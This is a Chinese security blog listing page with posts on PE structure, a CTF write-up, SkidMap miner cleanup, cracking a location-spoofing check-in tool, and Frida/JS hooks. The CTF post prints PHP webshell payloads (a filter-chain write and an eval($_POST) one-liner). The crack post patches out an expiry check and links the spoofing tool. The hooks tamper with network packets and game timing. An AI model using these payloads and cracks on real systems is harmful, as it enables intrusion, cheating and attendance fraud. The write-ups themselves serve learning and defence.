由来在浮世万象的数据洪流之上,有一座隐于虚空的天阶藏宝阁。 传说,那是“发光的神”静坐的所在,代码化作灵气,程序如宝玉悬浮其间。 每一件神器(工具、系统、源码)皆被悉心收录,化作一页灵卷,闪烁着独属于创作者的灵光。 此阁不仅是展示,更是收藏与传承的容器。 它象征着「秩序与灵感」的平衡——让代码与艺术并存,让开发者的世界观得以具象化。 在未来,天阶藏宝阁将继续扩展更多形态,化为次元空间的文库,收纳万象神器,照亮无数创作者的道路。 「浮世万象,皆藏于此阁中。灵光不灭,万物归一。」—— 发光的神 · 天阶阁主{mtitle title="剑指九天,问道苍穹"/}神兵图鉴 .lantern { display: inline-flex; align-items: center; justify-content: center; gap: 8px; padding: 11px 10px; border-radius: 16px; color: #2a1c0a; font-weight: 900; letter-spacing: 0.16em; background: radial-gradient(120px 40px at 10% 20%, #fff7d6, #ffe08a 60%, #f3d27a 95%); border: 1px solid #e5c56a; box-shadow: 0 0 26px rgba(243,210,122,.38), inset 0 0 10px rgba(255,245,210,.7); cursor: pointer; text-decoration: none; transition: all .35s ease; } .lantern:hover { transform: translateY(-3px); box-shadow: 0 0 40px rgba(243,210,122,.55), inset 0 0 16px rgba(255,250,220,.9); background: radial-gradient(120px 40px at 15% 30%, #fff8d9, #ffd76e 60%, #f3d27a 90%); } .lantern:active { transform: translateY(0); box-shadow: 0 0 18px rgba(243,210,122,.4), inset 0 0 8px rgba(255,240,190,.7); } 🏮进入藏宝阁
2025年10月08日
1,651 阅读
3 评论
306 点赞
2024-11-21
【技术分享】PE文件结构分析 ( RVA转FOA )
简介在了解PE结构之前,先简要回顾下可执行文件的概念。可执行文件是可以被操作系统加载并运行的文件。Windows与Linux的可执行文件格式:Windows平台的可执行文件格式是 PE(Portable Executable) 文件结构。Linux平台的可执行文件格式是 ELF(Executable and Linking Format) 文件结构。命名含义PE 的全称是 Portable Executable,意为“便携的可执行文件”。ELF 的全称是 Executable and Linking Format,意为“可执行和链接格式”。差异点PE文件结构 是跨版本兼容的。例如,Windows 7上的可执行文件可以在Windows 8、Windows 10等版本中正常运行。ELF文件结构 则依赖于内核版本,使用不同内核编译的程序无法在不兼容的环境中运行。应用场景PE文件结构在以下领域具有重要意义:病毒和反病毒技术:病毒感染机制和杀毒软件的检测都需要深入理解PE结构。外挂与反外挂:外挂注入与反外挂保护的关键技术点通常基于PE文件操作。加壳与脱壳:保护软件代码的壳技术,以及针对壳保护的破解技术都依赖于对PE结构的掌握。逆向与修改:在没有源码的情况下对程序功能进行修改、汉化或调试也需要了解PE文件的内部结构。PE结构表PE文件结构.pdfPE结构分析DOS_HANDER32位操作系统,每个进程的虚拟地址空间只能访问4GB的内存,其中2GB是在用户空间,另外2GB是在内核空间,对于64位操作系统,每个进程的虚拟地址空间可以访问更大的内存,一般将用户空间分配给进程可用的全部内存,而内核空间仍然是2GB。(题外话)用16进制编辑器打开程序,一行16进制有16个字节,而DOS_HANDER是给16位计算机用的,到现在的32位和64位程序依然保留了这个数据结构,详细参数可参考以上的PE结构表,在 DOS_HANDER 唯一重要的两个参数是 e_magic 和 e_lfanew,一个是标记用来判断是否是可执行程序,第二个是用来定位PE头位置的,其余的参数都可以用 00,nop 填充因为用不到。DOS_SUBDOS_SUB是在DOS_HANDER和PE标准头的中间这一块,这里面的数据也可以00,nop填充掉当然也可以插入自己的数据,如恶意代码。PE_HANDER以上 DOS_HANDER 中的 e_lfanew 参数是存储的是 08 01 在PE结构中存在大小端,要反着来 08 01 反过来是 0108 也就是 108 对应的文件偏移定位到 50 48 00 00 这里就是PE头了,PE标识占 4 个字节,而标准PE头占 20 个字节,可以参考以上PE表,第一个参数是 Machine 这个参数可以区分程序是多少位的,可以看到是 4C 01 反过来是 014c 也就是 14c 那么是 32位程序了,64位程序就是 8664。PE扩展头65 C8 05 00 反过来 0005c865,就是这个 AddressOfEntryPoint 程序入口地址,ImageBase 是 00 00 40 00 反过来就是 00400000,剩下的结构可以参考PE结构表。PE地址转换介绍FOV (File Offset Value):文件偏移量值,指的是 PE 文件中某个数据在文件中的偏移地址。RVA (Relative Virtual Address):相对虚拟地址,指的是 PE 文件中某个数据在内存中的地址与该模块基地址之间的相对距离。VA (Virtual Address):虚拟地址,指的是 PE 文件中某个数据在内存中的绝对地址。FOV文件偏移计算FOV = RVA - Virtual Offset + Raw Offset在Windows可执行文件中,RVA(Relative Virtual Address)是一个虚拟地址相对于程序映像基址的偏移量,程序映像基址是可执行文件在内存中加载时分配的基地址,通常是0x400000或0x10000000,有了FOV偏移就能够定位,在PE文件中代码的位置,直接修改二进制文件实现程序逻辑的修改。好,我们先来找一下 AddressOfEntryPoint 程序入口,运行后机器码的位置。通过studyPE+这个工具,可以对程序的PE结构进行展示,这里的 0001500 就是RVA。然后就是区段了,Virtual Address 是用来描述PE文件中数据段在程序运行时被加载到内存中的虚拟地址,而 Raw Address 是用来数据段在PE文件中的物理地址或字节偏移量。通过上面的东西进行公式计算,就能得到二进制文件的FOV偏移,与动态调试的入口地址机器码所对应。VA虚拟地址计算VA(Virtual Address,虚拟地址)是指被操作系统分配给进程的内存地址空间中的地址,也称为“逻辑地址”,在现代操作系统中,每个进程都有自己的虚拟地址空间,该地址空间通常从0开始,可以映射到物理内存中的实际地址。只要明白有了VA就能定位到程序运行后的虚拟内存地址了。VA = FOV + Virtual Offset - Raw Offset # 两个都能用 VA = RVA + ImageBase通过上面的公式就能拿到 400000 + 1500 = 401500,在程序运行后的虚拟内存地址。地址重定位计算这是在逆向工程中地址计算的一种常见方法,通常用于调试和静态分析工具之间的地址转换。下面是具体的解释和场景说明:在动态调试器(如 x64dbg)和静态分析工具(如 IDA Pro)中,二进制文件的地址表示方式会有所不同:动态调试器动态调试时,程序运行在内存中,操作系统会为程序的模块分配一个动态的加载基址(Base Address)。具体地址通常由模块加载地址加上文件中的偏移量(Offset)计算得出。静态分析工具静态分析工具基于文件本身的结构,不依赖运行时的加载基址。它直接将文件的Offset视为相对地址,结合用户手动输入的加载基址,推算出实际的运行地址。x64dbg 中的地址计算当前运行的内存地址(Current Address)模块加载地址(Module Base Address)公式:偏移量(Offset) = 当前地址 - 模块加载地址意义在于,找到一个地址相对于模块加载基址的偏移值,这个偏移值与模块在静态文件中的位置一致。在 IDA 中的地址计算假设在调试器中计算出某个地址的偏移量(Offset)。在IDA中,我们需要知道模块加载基址(Module Base Address)来还原其运行时的实际内存地址。公式:当前地址 = 模块加载基址 + 偏移量(Offset)这个公式的意义是,利用偏移量和加载基址还原实际内存中动态分配的地址。假设我们正在调试一个程序,模块加载基址是 0x400000,并且我们在 x64dbg 中发现当前执行的指令位于地址 0x402345。Step 1: 计算Offset使用公式:Offset = 当前地址 - 模块加载地址 Offset = 0x402345 - 0x400000 Offset = 0x2345Step 2: 转换到IDA中的地址假设我们在IDA中对这个模块进行分析,并假设它的加载基址为 0x500000。则在IDA中对应的实际地址为:当前地址 = 模块加载基址 + Offset 当前地址 = 0x500000 + 0x2345 当前地址 = 0x502345改全局变量用C写了简单的例子,输出变量数值和虚拟内存地址。#include <stdio.h> int value = 1000; int main () { printf("Address = 0x%p \n", &value); printf("value = %d", value); getchar(); return 0; }有全局变量的虚拟内存地址,就可以直接可以计算出RVA相对虚拟内存地址,然后通过节表的内存偏移与RVA进行计算,就能得到文件的FOV。(为什么不修改局部变量?首先局部变量存储在堆栈中,需要通过动态修改值,在PE文件结构中并没有堆栈,堆栈是程序运行时分配出来的,所以不能通过修改PE文件结构来改变局部变量的数据。)RVA = VA - ImageBase FOV = RVA - Virtual Offset + Raw Offset通过上面的公式 403010 - 400000 = 3010 得到RVA,然后算区间按照上面的第二个公式就能得出FOV,对照区段的虚拟地址可以发现,是在 .data 节表中。拿到文件偏移就可以通过进行定位了,用二进制的方式修改全局变量的数据。小知识范围 = 基址 + 大小通过基址 + 大小就可以计算出这个 exe 中的内存范围,现在验证下这里面的内存地址是否全是静态地址。当然,除了exe 也有 dll 的,有了这些静态地址,就可以借助加偏移找到动态地址。2024-12-20 08:53:14 星期五 更新过
2024年11月21日
7,350 阅读
0 评论
940 点赞
2024-05-14
【CTF解题】2024年浙江省CTF网络安全竞赛
留言随缘更新,只公布解题结果,太懒了。。。Reverse模拟人生{collapse}{collapse-item label="伪C代码" close}unsigned __int64 __fastcall sub_40350F(int a1, int a2, int a3, int a4, int a5) { __int64 v5; // rbx int *v6; // rdx int v11; // [rsp+20h] [rbp-F0h] int i; // [rsp+24h] [rbp-ECh] __int64 v13; // [rsp+28h] [rbp-E8h] int v14[8]; // [rsp+30h] [rbp-E0h] int v15[42]; // [rsp+50h] [rbp-C0h] BYREF unsigned __int64 v16; // [rsp+F8h] [rbp-18h] v16 = __readfsqword(0x28u); v13 = a1; v11 = 0; v14[0] = a2; v14[1] = a3; v14[2] = a4; v14[3] = a5; while ( v11 <= 3 ) { v5 = v13 * v14[v11]; v13 = v5 / (int)sub_4034E1((unsigned int)v13, (unsigned int)v14[v11++]); } if ( a2 > 0 && a3 > 0 && a4 > 0 && a5 > 0 && a1 == 60 && v13 == 286395540 ) { v6 = v15; memset(v15, 0, 0xA0uLL); v15[0] = 432; v15[1] = 408; v15[2] = 429; v15[3] = 438; v15[4] = 452; v15[5] = 246; v15[6] = 243; v15[7] = 417; v15[8] = 423; v15[9] = 444; v15[10] = 236; v15[11] = 231; v15[12] = 203; v15[13] = 447; v15[14] = 227; v15[15] = 435; v15[16] = 252; v15[17] = 224; v15[18] = 204; v15[19] = 443; v15[20] = 419; v15[21] = 248; v15[22] = 442; v15[23] = 241; v15[24] = 203; v15[25] = 251; v15[26] = 445; v15[27] = 239; v15[28] = 441; v15[29] = 254; v15[30] = 444; v15[31] = 246; v15[32] = 203; v15[33] = 245; v15[34] = 255; v15[35] = 445; v15[36] = 434; v15[37] = 478; for ( i = 0; v15[i]; ++i ) std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)((v15[i] >> 2) ^ 0xA), v6); } return __readfsqword(0x28u) ^ v16; }{/collapse-item}{/collapse}以上是sub_40350F函数内的代码,不难看出v15存储的就是做过处理的flag,关键就是 v15[i] >> 2 ^ 0xa,我们就模仿它写个脚本解下,就能拿到最终的flag。v15 = [ 432, 408, 429, 438, 452, 246, 243, 417, 423, 444, 236, 231, 203, 447, 227, 435, 252, 224, 204, 443, 419, 248, 442, 241, 203, 251, 445, 239, 441, 254, 444, 246, 203, 245, 255, 445, 434, 478 ] for num in v15: result = chr((num >> 2) ^ 0xA) print(result, end='')Webyc2_web1<?php highlight_file(__FILE__); error_reporting(0); function waf01($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log/i',$x)){ die('You are hacker!!! No!!!'); } } $file=$_GET['file']; $contents=$_GET['contents']; waf01($file); file_put_contents($file, "<?php die();?>".$contents);GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php&contents=?<hp pe@av(l_$OPTSa[aa]a;)>? POST: aaaa=system("tac flag.php");先GET请求下这个时候木马就被写入到服务器里了,然后POST提交就能获取到flag。综合渗透1这题要进后台先找打后台,然后账号密码爆破,账号密码 admin/admin第一题是有提示,第二题flag:在home综合渗透1-2<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["pass"]);?>');?>前端找可执行php代码的地方,写入一句话木马。第三个flag,在第二题有提示:在数据库。综合渗透1-3这样就都找到了。Crypto...Misc伪加密找到 14 00 09 这段改成 14 00 00 保存,即可解zip压缩包伪加密。地狱模式题目是一个jar文件,玩游戏坚持一分钟就给你flag,这里直接反编译下取flag。打篮球之前先找到flag吧压缩包里是一个ELF文件,我直接用strings 过滤下flag,直接就拿到了。这是sql盲注嘛?直接用http对象列表查看,字节大小定位返回内容,这里我已经确定 21 bytes 是成功的,那么排序下找盲注的数字,数字ASCII转换字符拼接就是flag了。...
2024年05月14日
778 阅读
0 评论
8 点赞
2023-12-28
【技术分享】Linux SkidMap 挖矿病毒处置
简介初步处理,待更新...工具分享这里分享个几个应急响应工具, 这里我用 toybox ,来查找恶意程序,再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里,方便任意位置调用,它和 busybox 功能一样,那为什么不用 busybox?因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令,避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU,重启后 gettexted 后缀会随机变化,它是挖矿的主程序。它有潜伏期现在是没挖矿状态,但后面跟着一堆可疑程序,通过计算哈希值提交给VT与微步,发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持,通过 ps、ls 发现并不能找到恶意程序,而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为,并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* toybox rm -rf /usr/bin/telinited* toybox rm -rf /usr/bin/postcated* toybox rm -rf /usr/bin/matchpathcond* toybox rm -rf /usr/bin/postmaped* toybox rm -rf /usr/bin/mldconfig systemctl enable kdump.service systemctl restart ssh清除代码2#!/bin/bash rm -rf /etc/init.d/dns-udp4 rm -rf /etc/profile.d/gateway.sh sed -i '/\/usr\/sbin\/netstat.cfe/d' /etc/rc.d/rc.local sed -i '/\*\/1 \* \* \* \* root \/\.mod/d' /etc/crontab sed -i '/\/lib\/system.mark/d' /etc/rc.d/init.d/network echo -n >/.mod echo -n > /etc/.cfg echo -n > /boot/system.pub echo -n > /etc/profile.d/bash.cfg echo -n > /lib/system.mark echo -n > /usr/lib/libedi.so.8.8.2 echo -n > /usr/sbin/netstat.cfg echo -n > /etc/profile.d/bash.cfg.sh echo -n > /etc/selinux/config echo -n > /dev/null rm -rf /etc/selinux/targeted/tmp/modules/100/ chmod 000 /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh chmod +i /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh ###替换被篡改的文件 ./toybox-x86_64 cp -f ./agetty /usr/bin/agetty ./toybox-x86_64 cp -f ./tty /usr/bin/tty ./toybox-x86_64 cp -f ./ssh /usr/bin/ssh ./toybox-x86_64 cp -f ./scp /usr/bin/scp ./toybox-x86_64 cp -f ./umount /usr/bin/umount sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sshd sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/su sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sudo if [ $? -eq 0 ]; then echo "命令执行成功。" else echo "命令执行失败。" fi待分析...
2023年12月28日
397 阅读
0 评论
28 点赞
2023-12-06
此内容被密码保护
加密文章,请前往内页查看详情
2023年12月06日
578 阅读
0 评论
39 点赞
2023-07-15
【技术分享】工学云定位打卡工具 ( 去版本失效 )
简介蘑菇钉打卡工具,它是个32位程序是用易语言写的,主要针对学工云实习打卡,之前实习的时候打比赛去了所以免实习了,但这个软件我也用过一下,主要填写账号和密码能够自定义打卡位置定时打卡之类的,看了下原理是利用Web官网的API进行提交自定义位置来欺骗服务器实现的。今天看到群里说失效了,但我觉得是没钱赚关掉了而已,只会弹出个失效窗口然后关闭程序,对普通人来说就是用不了,反正没事给群友做点好事吧。程序分析通过IDA分析发现,有部分是学工云web上的API接口,直接进去看代码的实现逻辑。这里用了官方的登录接口,来获用户取关键返回信息进行下一个打卡API的参数提交。这里是定义的参数,可以发现 lastAddress 这个参数如果猜的不错的话,就是最后位置如果错了就当我没说,主要目的是来去弹出的,说点废话凑点页数而已(哈哈哈)。弹窗去除正常运行的情况下,是进不去的这个软件是完全关闭了,直接用x64dbg去下弹窗吧。。。最简单的办法就是,字符串搜索了在主模块中进行搜索,可以右键选择也可以 shift + d,看到什么字符串就搜什么吧,这里我搜的是 版本失效。0040D36C | 0F84 3E000000| je 0x40D3B0 | 0040D372 | BB 06000000 | mov ebx,6 | 0040D377 | E8 883CFFFF | call 0x401004 | 0040D37C | 68 01030080 | push 80000301 | 0040D381 | 6A 00 | push 0 | 0040D383 | 68 00000000 | push 0 | 0040D388 | 68 04000080 | push 80000004 | 0040D38D | 6A 00 | push 0 | 0040D38F | 68 9D044D00 | push 0x4D049D | 4D049D:"版本已失效,请进通知群687082138更新" 0040D394 | 68 04000000 | push 4 | 0040D399 | BB 40934100 | mov ebx, 0x419340 | 0040D39E | E8 859E0000 | call 0x417228 | 0040D3A3 | 83C4 34 | add esp,34 | 0040D3A6 | 6A 00 | push 0 | 0040D3A8 | E8 9F9E0000 | call 0x41724C | 0040D3AD | 83C4 04 | add esp,4 |找到 je 改成 jne 就不跳转到弹窗代码上了,也就正常运行软件了。好啦然后打个补丁,软件就可以出院啦,经过测试是可以正常打卡的,我的猜测是正确的。。。{cloud title="蘑菇钉打卡工具(去版本失效 )" type="default" url="https://www.52tt.pro/usr/uploads/2023/07/35926594.zip" password=""/}
2023年07月15日
162 阅读
0 评论
17 点赞
2023-04-25
【技术分享】Frida Hook篇
简介Frida是一款基于Python + JavaScript 的hook框架,本质是一种动态插桩技术。可以用于Android、Windows、iOS等各大平台,其执行脚本基于Python或者Node.js写成,而注入代码用JavaScript写成,所以有必要了解一些这些语言的语法。本文简单讲述Frida框架的使用。Windows修改函数返回#include <stdio.h> int license() { return 0; } int main() { if(license() == 1) { printf("%s", "你做到了~"); }else{ printf("%s", "你失败了!"); } return 0; }这里我用C语言编写一个简单的例子,尝试hook函数的返回值修改为 1。objdump -M intel -d Demo | grep call这里我用 objdump 进行过滤反汇编代码,我的习惯用全局过滤 call 看看都调用了哪些函数,因为有的编译是不显示函数名称的,也就无法判断其函数的用途。这里通过调用 license() 函数判断返回值,那么只要 hook 0x1139 这个地址的返回值,就能改变判断执行的流程。var moduleName = "demo"; var baseAddress = Module.findBaseAddress(moduleName); var absoluteAddress = baseAddress.add(0x1139); Interceptor.attach(absoluteAddress, { onLeave: function(retval) { retval.replace(1); console.log("\n"); } });frida -l code.js -f demo因为程序是一运行就执行,这里用这种办法来带动程序执行并进行hook。frida-tracefrida-trace -f demo -i "printf"可以利用 frida-trace 监听函数调用和获取参数等等一系列操作。WSASend Hook// 自适应旧数据大小 Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSASend'), { onEnter: function (args) { var hexDataWithSpaces = "00 00 00 BD 00 14 00 02 "; function hexStringWithSpacesToBytes(hexStr) { var hexValues = hexStr.replace(/\s+/g, '').match(/.{1,2}/g); var bytes = []; for (var i = 0; i < hexValues.length; i++) { bytes.push("0x" + hexValues[i]); } return bytes; } var socket = args[0].toInt32(); var sockaddr_in = Memory.alloc(16); var sockaddr_in_size = Memory.alloc(4); Memory.writeU32(sockaddr_in_size, 16); var getpeername = Module.getExportByName('Ws2_32.dll', 'getpeername'); var result = new NativeFunction(getpeername, 'int', ['int', 'pointer', 'pointer'])(socket, sockaddr_in, sockaddr_in_size); if (result === 0) { var ip = Memory.readU32(sockaddr_in.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); console.log("[+] IP Address: " + ipStr); } else { console.log("[-] Failed to retrieve IP address"); } var lpBuffers = args[1]; var dwBufferCount = args[2].toInt32(); for (var i = 0; i < dwBufferCount; i++) { var lpBuffer = lpBuffers.add(i * Process.pointerSize * 2); var bufLen = Memory.readU32(lpBuffer); if (bufLen === 173) { console.log("[+] Length=" + bufLen); var newData = hexStringWithSpacesToBytes(hexDataWithSpaces); var newDataLength = newData.length; var newBufPtr = Memory.alloc(1024); Memory.writeByteArray(newBufPtr.add(24), newData); Memory.writePointer(lpBuffer.add(Process.pointerSize), newBufPtr.add(24)); Memory.writeU32(lpBuffer, newDataLength); var modifiedData = Memory.readByteArray(newBufPtr.add(24), newDataLength); console.log(modifiedData); } } } });WSARcev Hook// 自适应旧数据大小 var buff = Memory.alloc(0x6) Memory.writeByteArray(buff, [0x32,0x32,0x32,0x32,0x32,0x32]); Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSARecv'), { onEnter: function (args) { this.lpBuffersPtr = args[1]; this.lpNumberOfBytesRecvd = args[3]; }, onLeave: function (retval) { var lenPtr = Memory.readPointer(this.lpNumberOfBytesRecvd); var buflen = parseInt(lenPtr, 16); if (buflen == 2) { Memory.writePointer(this.lpBuffersPtr.add(Process.pointerSize), buff); ptr(this.lpNumberOfBytesRecvd).writeUInt(0x6); } } });frida -p 2085 -l WSARcev.jsJmp Hookvar baseAddress = ptr('0x4010F5'); var jmpAddress = ptr('0x4010FB'); var offset = jmpAddress.sub(baseAddress.add(5).toInt32()); var jmpOpcode = [ 0xE9, offset & 0xFF, (offset >> 8) & 0xFF, (offset >> 16) & 0xFF, (offset >> 24) & 0xFF ]; Memory.protect(baseAddress, 8, 'rw-'); Memory.writeByteArray(baseAddress, jmpOpcode);系统提权var path = 'C:/Users/28729/Desktop/main.exe'; // 替换你要执行的程序路径(不能包含中文字符) var module = Process.getModuleByName('kernel32.dll'); var WinExec = module.findExportByName('WinExec'); var WinExec = new NativeFunction(WinExec,'int', ['pointer', 'uint32']); WinExec(Memory.allocUtf8String(path), 5); console.log(WinExec.toString());端口修改Interceptor.attach(Module.getExportByName('ws2_32.dll', 'connect'), { onEnter: function(args) { var sockaddr = args[1]; var ip = Memory.readU32(sockaddr.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); // 修改端口为 80 (0x0050) Memory.writeU16(sockaddr.add(2), 0x0050); var modifiedPort = Memory.readU16(sockaddr.add(2)); console.log("[+] Modified to connect to: " + ipStr + ":" + modifiedPort); } });变速齿轮变速原理变速齿轮的原理 变速齿轮(变速精灵)通过修改游戏运行时的时间流逝速度,实现加速或减速效果。其核心思路是拦截并修改游戏调用的时间相关函数的返回值。关键时间函数 大部分游戏依赖Windows提供的计时器API来获取时间流逝数据,常用的函数包括:GetTickCount: 获取系统启动后经过的毫秒数。timeGetTime: 获取自系统启动以来的时间,单位为毫秒。这些函数在游戏中用于时间逻辑和动画刷新等。Hook技术的应用 为实现变速功能,需要使用Hook技术拦截上述API函数:在返回值的基础上加上变速比例。例如,将时间流逝的速度乘以一个比例系数(如2倍速或0.5倍速)。修改后的返回值会被游戏程序使用,从而达到加速或减速效果。实现效果 修改计时器函数返回值后:游戏中的时间会按照设定的速度流逝。动画、技能冷却、任务时间等都会受到影响。注意事项对API函数的Hook需要精确,避免引起其他程序崩溃。修改速度可能会影响游戏网络同步或反作弊机制,因此需要谨慎使用。通过Hook系统的计时器API(如GetTickCount、timeGetTime),改变游戏对时间的感知速度,从而实现游戏变速功能。这种方式通用于大多数基于Windows计时器的游戏程序。推荐下 Cheat Engine,这个工具也可以实现。Cheat Engine 此源码仅支持 64位 Python。{cloud title="变速精灵" type="bd" url="https://pan.baidu.com/s/1byEIfi3HHoZaMKy5jibVyw?pwd=2085" password=""/}AndroidHook okhttp3Java.perform(function () { var RequestBuilder = Java.use("okhttp3.Request$Builder"); var Buffer = Java.use("okio.Buffer"); RequestBuilder.build.implementation = function () { var request = this.build(); var body = request.body(); if (body != null) { var buffer = Buffer.$new(); body.writeTo(buffer); var raw_body = buffer.readUtf8(); console.log("=== HTTP Request ==="); console.log("URL: " + request.url().toString()); console.log("Body: " + raw_body); } return request; }; });so 加载检测function hook_dlopen() { Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); console.log("Loaded: " + path); } } }); }var dlopen = Module.findExportByName(null, "dlopen"); // 6.0 var android_dlopen_ext = Module.findExportByName(null, "android_dlopen_ext"); // 8.1+ Interceptor.attach(dlopen, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen onLeave => " + this.path + " > 加载完成"); } }); Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen_ext onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen_ext onLeave => " + this.path + " > 加载完成"); } });其它-JS逆向Hook 解析参数// === JSON.parse (解密后) === var _json_parse = JSON.parse; JSON.parse = function (text, reviver) { console.log("JSON.parse:", text); debugger; return _json_parse.call(this, text, reviver); }; // === JSON.stringify (加密前) === var _json_stringify = JSON.stringify; JSON.stringify = function (value, replacer, space) { console.log("JSON.stringify:", value); debugger; return _json_stringify.call(this, value, replacer, space); }; // === XMLHttpRequest (发送 & 接收) === (function() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; this._method = method; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { console.log(`XHR Request [${this._method}] ${this._url}`, body); this.addEventListener("load", function() { console.log(`XHR Response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; })(); // === fetch (发送 & 接收) === var _fetch = fetch; fetch = function(input, init) { console.log("fetch Request:", input, init && init.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); let text = await clone.text(); console.log("fetch Response:", text); return res; }); }; // === WebSocket (发送 & 接收) === var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function(data) { console.log("WS Send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function(...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function(event) { console.log("WS Message:", event.data); }); return ws; };Hook 原生加密解密// === CryptoJS AES 加密 / 解密 === if (window.CryptoJS && CryptoJS.AES) { var _aes_encrypt = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (msg, key, cfg) { console.log("AES encrypt input:", msg); debugger; return _aes_encrypt.apply(this, arguments); }; var _aes_decrypt = CryptoJS.AES.decrypt; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log("AES decrypt input:", ciphertext); var result = _aes_decrypt.apply(this, arguments); console.log("AES decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === CryptoJS RC4 加密 / 解密 === if (window.CryptoJS && CryptoJS.RC4) { var _rc4_encrypt = CryptoJS.RC4.encrypt; CryptoJS.RC4.encrypt = function (msg, key) { console.log("RC4 encrypt input:", msg); debugger; return _rc4_encrypt.apply(this, arguments); }; var _rc4_decrypt = CryptoJS.RC4.decrypt; CryptoJS.RC4.decrypt = function (ciphertext, key) { console.log("RC4 decrypt input:", ciphertext); var result = _rc4_decrypt.apply(this, arguments); console.log("RC4 decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === Base64 === var _atob = atob; window.atob = function (str) { console.log("Base64 decode input:", str); var result = _atob(str); console.log("Base64 decode output:", result); debugger; return result; }; var _btoa = btoa; window.btoa = function (str) { console.log("Base64 encode input:", str); debugger; return _btoa(str); };Hook 网络通信函数// ===== Hook fetch API ===== // 拦截并打印 fetch 请求和响应 function hookFetch() { var _fetch = fetch; fetch = function (input, init) { console.log("fetch request:", input, init?.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); console.log("fetch response:", await clone.text()); return res; }); }; } // ===== Hook XMLHttpRequest API ===== // 拦截并打印 XHR 请求和响应 function hookXHR() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { console.log(`XHR [${this._method}] ${this._url}`, body); this.addEventListener("load", () => { console.log(`XHR response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; } // ===== Hook WebSocket API 